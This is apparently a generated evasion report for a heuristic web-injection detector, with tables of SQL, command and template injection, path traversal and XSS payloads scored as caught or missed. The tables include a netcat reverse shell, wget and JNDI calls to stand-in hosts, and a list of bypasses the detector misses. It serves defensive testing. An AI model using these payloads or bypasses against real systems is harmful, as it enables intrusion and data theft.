Tier 2 evasion report
Generated by scripts/evasion_report.py against tier2-heuristic-1.0. Regenerate it after any detector change; tests/unit/test_evasion_corpus.py fails when a result here goes out of date.
What this is. A measurement of one heuristic detector (SQL, command and template injection, path traversal and XSS in the request path and query) against well-known evasion techniques. It shows what the detector catches and what it misses. What it is not. A detection rate on real traffic, a benchmark against other products, or a statement about the DNS, beaconing, exfiltration and TLS detectors, which are stateful and are not covered here.
Two thresholds: caught is a finding of at least 0.3 with the right label, the detector's floor. Alert-grade is at least 0.5, where the control plane raises an alert by itself without a matching rule (0.5 for these web-injection labels, policy.classifier_alert_threshold = 0.7 for the rest). No detector can block: a rule a human approved is what enforces.
43 cases: 24 alert-grade, 4 caught below alert grade, 15 missed (28 of 43 detected).
Headline findings
- 4 of 43 cases are labelled but do not raise an alert (between 0.3 and 0.5). The label is stored on the flow, but Tier 2 alone raises an alert only at 0.5 or more; a high Tier 1 anomaly score can still raise one.
- The starter rule that blocks web injection needs 0.9. Only payloads that trip two or more rules reach it, so blocking stays conservative on purpose: a miss costs an alert you did not get, a wrong block costs a legitimate request. The alert threshold is a setting; the block threshold is a rule a person approves.
- 15 cases are missed outright. Mostly encodings and spellings the normaliser does not undo (versioned SQL comments, full-width letters, HTML entities, wildcards and quote-splitting in shell words) and thresholds a lone weak rule does not reach.
- The detector is a first line, not a verdict. NeuraWall's design assumes this: a model or heuristic can only raise an alert, and a person approves any rule that blocks.
SQL injection
| technique | request path | result | confidence | note |
|---|---|---|---|---|
| baseline UNION SELECT | /item?id=1' UNION SELECT user,pass FROM users-- | alert-grade | 0.88 | |
| mixed case | /item?id=1' uNiOn SeLeCt user,pass FrOm users-- | alert-grade | 0.88 | |
| comment as whitespace | /item?id=1'/**/UNION/**/SELECT/**/pass/**/FROM/**/users-- | alert-grade | 0.88 | |
| URL-encoded | /item?id=1%27%20UNION%20SELECT%20pass%20FROM%20users-- | alert-grade | 0.88 | |
| double URL-encoded | /item?id=1%2527%2520UNION%2520SELECT%2520pass%2520FROM%2520users-- | alert-grade | 0.88 | |
| newline as whitespace | /item?id=1'%0aUNION%0aSELECT%0apass%0aFROM%0ausers-- | alert-grade | 0.88 | |
| tautology without quotes | /item?id=1 AND 1=1 | caught | 0.31 | |
| time-based blind | /item?id=1;SELECT pg_sleep(5)-- | alert-grade | 0.50 | |
| stacked query | /item?id=1;DROP TABLE users-- | alert-grade | 0.62 | |
| MySQL versioned comment | /item?id=1/*!50000UNION*//*!50000SELECT*/pass/*!50000FROM*/users | missed | 0.00 | the comment stripper removes the whole /!.../ block, including the keyword inside it |
| full-width Unicode keywords | /item?id=1' %EF%BC%B5%EF%BC%AE%EF%BC%A9%EF%BC%AF%EF%BC%AE SELECT 1-- | missed | 0.00 | lower-casing does not fold full-width letters, and no rule fires without the keywords |
| quadruple URL-encoding | /item?id=1%25252527%252520UNION%252520SELECT%252520pass%252520FROM%252520users-- | alert-grade | 0.88 | still caught, through the other rules, although the UNION rule itself does not fire |
Command injection
| technique | request path | result | confidence | note |
|---|---|---|---|---|
| separator + cat | /ping?host=1.1.1.1;cat /etc/passwd | alert-grade | 0.92 | |
| pipe + id | /ping?host=1.1.1.1|id | alert-grade | 0.62 | |
| command substitution | /ping?host=$(whoami) | alert-grade | 0.62 | |
| backticks | /ping?host=`id` | alert-grade | 0.62 | |
| ${IFS} as whitespace | /ping?host=1;cat${IFS}/etc/passwd | alert-grade | 0.92 | |
| base64 into a shell | /ping?host=1;echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh | alert-grade | 0.62 | |
| reverse shell | /ping?host=1;nc 10.0.0.1 4444 -e /bin/sh | alert-grade | 0.98 | |
| quote splitting | /ping?host=1;c'a't /etc/passwd | missed | 0.00 | c'a't defeats the command-name rule; /etc/passwd alone scores 0.27, under the floor |
| wildcards instead of names | /ping?host=1;/???/c?t /e??/p??s?? | missed | 0.00 | neither a known command name nor a literal sensitive path appears |
| newline separator, no sensitive file | /ping?host=1%0awget http://x.test/a | missed | 0.00 | a newline is not in the separator list |
Template injection
| technique | request path | result | confidence | note |
|---|---|---|---|---|
| Jinja expression | /greet?name={{7*7}} | missed | 0.00 | a lone {{7*7}} probe scores 0.27, under the 0.3 floor |
| Jinja introspection | /greet?name={{''.__class__.__mro__}} | alert-grade | 0.92 | |
| JNDI lookup | /x?q=${jndi:ldap://x.test/a} | alert-grade | 0.97 | |
| obfuscated JNDI | /x?q=${${lower:j}ndi:ldap://x.test/a} | missed | 0.00 | the JNDI rule does not fire, and the template-expression rule alone scores 0.27 |
| Jinja statement block | /greet?name={%print(7*7)%} | missed | 0.00 | only {{ }}, ${ }, <% %> and #{ } are recognised |
Path traversal
| technique | request path | result | confidence | note |
|---|---|---|---|---|
| dot-dot-slash, three levels | /files?name=../../../etc/passwd | alert-grade | 0.92 | |
| URL-encoded slashes | /files?name=..%2f..%2f..%2fetc%2fpasswd | alert-grade | 0.92 | |
| backslashes | /files?name=..\..\..\windows\win.ini | alert-grade | 0.62 | |
| absolute sensitive path | /files?name=/etc/passwd | missed | 0.00 | a reference to /etc/passwd alone scores 0.27, under the 0.3 floor |
| single level | /files?name=../secret.txt | missed | 0.00 | two or more consecutive ../ are required |
| Tomcat ..;/ form | /files/..;/..;/admin | missed | 0.00 | |
| nested ....// form | /files?name=....//....//....//secret | missed | 0.00 | a filter that strips ../ once turns this into ../../.. on the server; the detector does not recognise it |
XSS
| technique | request path | result | confidence | note |
|---|---|---|---|---|
| script tag | /s?q=<script>alert(1)</script> | alert-grade | 0.62 | |
| mixed-case script tag | /s?q=<ScRiPt>alert(1)</sCrIpT> | alert-grade | 0.62 | |
| URL-encoded script tag | /s?q=%3Cscript%3Ealert(1)%3C/script%3E | alert-grade | 0.62 | |
| img onerror | /s?q=<img src=x onerror=alert(1)> | caught | 0.45 | one pattern scores 0.45, under the alert-grade line |
| svg onload without space | /s?q=<svg/onload=alert(1)> | caught | 0.45 | one pattern scores 0.45, under the alert-grade line |
| javascript: URI | /s?next=javascript:alert(1) | caught | 0.38 | |
| HTML-entity encoded tag | /s?q=<script>alert(1)</script> | missed | 0.00 | entities are not decoded |
| javascript: with an entity | /s?next=javascript:alert(1) | missed | 0.00 | |
| ontoggle handler | /s?q="><details open ontoggle=alert(1)> | missed | 0.00 | only error, load, mouseover and focus handlers are listed |
Known gaps, in plain words
- SQL injection, MySQL versioned comment. the comment stripper removes the whole /!.../ block, including the keyword inside it
- SQL injection, full-width Unicode keywords. lower-casing does not fold full-width letters, and no rule fires without the keywords
- Command injection, quote splitting. c'a't defeats the command-name rule; /etc/passwd alone scores 0.27, under the floor
- Command injection, wildcards instead of names. neither a known command name nor a literal sensitive path appears
- Command injection, newline separator, no sensitive file. a newline is not in the separator list
- Template injection, Jinja expression. a lone {{7*7}} probe scores 0.27, under the 0.3 floor
- Template injection, obfuscated JNDI. the JNDI rule does not fire, and the template-expression rule alone scores 0.27
- Template injection, Jinja statement block. only {{ }}, ${ }, <% %> and #{ } are recognised
- Path traversal, absolute sensitive path. a reference to /etc/passwd alone scores 0.27, under the 0.3 floor
- Path traversal, single level. two or more consecutive ../ are required
- Path traversal, Tomcat ..;/ form. Not recognised.
- Path traversal, nested ....// form. a filter that strips ../ once turns this into ../../.. on the server; the detector does not recognise it
- XSS, HTML-entity encoded tag. entities are not decoded
- XSS, javascript: with an entity. Not recognised.
- XSS, ontoggle handler. only error, load, mouseover and focus handlers are listed
These are heuristics, so every pattern has a bypass. That is why NeuraWall never lets a detector block on its own: a miss costs an alert you did not get, and a false positive costs nothing until a person approves a rule for it.